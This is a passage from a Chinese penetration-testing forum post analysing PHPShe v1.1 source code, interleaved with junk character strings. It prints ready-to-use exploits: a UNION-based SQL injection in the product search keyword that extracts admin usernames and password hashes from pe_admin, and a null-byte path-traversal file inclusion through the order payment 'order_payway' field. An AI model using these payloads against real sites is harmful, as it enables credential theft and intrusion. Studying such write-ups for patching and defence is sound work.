i6 m9 @2 L( j; A# ]" x1 E, [
0×02 搜索注入" x' e2 t! q! \: N& R
& s5 s8 D6 w4 _1 o2 H
<code id="code2">
//product.php文件) H& r6 u+ R) E
case 'list': V) S/ x: d$ j5 m
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));% |* Q' Z: P/ s/ L
//搜索
$sqlwhere = " and `product_state` = 1";% H7 X( [) U% U6 M/ y& ] r
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}! N) I6 {& ]$ c3 r* \, I
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);/ s0 b/ X1 e0 C V! p
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";0 c' M) I Z# g' Z0 J0 n/ @; d
}& j1 `% n- x9 E* v* _
else {
$sqlwhere .= " order by `product_id` desc";
}* `1 _ G2 X3 e9 p( U$ w" @$ x) V
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();$ E2 h$ G. }& ?9 M" s3 e3 Q# e2 R" H
//当前路径
$nowpath = category_path($category_id);" |0 O- m) ?* R- Q; _
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库' `% v& o0 S5 c& D H, W* ^/ I
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())7 B* j4 A3 ~" o5 T
{$ V; H6 u" G" c( h6 b9 ^
//处理条件语句3 o/ L& ^- u7 n- ~: A. Z
$sqlwhere = $this->_dowhere($where);- I5 m; C6 a: a! T7 i+ R7 C) _
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp( V- m7 C) S \
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
</code>& F" o2 ^6 \3 e% c4 H) I
4 ]/ m" b- m* S# v1 n3 g3 o& q
0×03 包含漏洞2
<code id="code3">
//order.php
case 'pay':
/ G& C2 ]% K Z, K0 W* k
$order_id = pe_dbhold($_g_id);
$cache_payway = cache::get('payway');
$ v+ q. K u% v. v) X! r
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
if ($k == 'bank') {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
}
}
% p4 g8 t3 v3 i# R8 F
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
- x* L( M1 O3 l. R
!$order['order_id'] && pe_error('订单号错误...');
8 a8 b+ P& \$ W/ \. z0 n9 A
if (isset($_p_pesubmit)) {
8 ?0 c, d. V$ W0 a
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
4 f' O0 Y( q$ t, g, i) Q3 g
foreach ($info_list as $v) {
+ ` _8 g1 J8 u& Y+ V) I8 i1 g* d
$order['order_name'] .= "{$v['product_name']};";
}
5 a$ `+ @# S3 S- _6 m
echo '正在为您连接支付网站,请稍后...';
; I, F7 Y0 X4 o1 L3 ~
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
}//当一切准备好的时候就可以进行"鸡肋包含了"
& K6 r! `3 _, t
else {
( G7 o7 o M" ?' C& Y+ K! z- l# N
pe_error('支付错误...');
6 l/ H0 u$ v$ k
}
# C( w' J6 `3 f' Q9 U
}
$seo = pe_seo('选择支付方式');
include(pe_tpl('order_pay.html'));
1 d$ [8 q) N& ~$ u8 q+ V* N
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |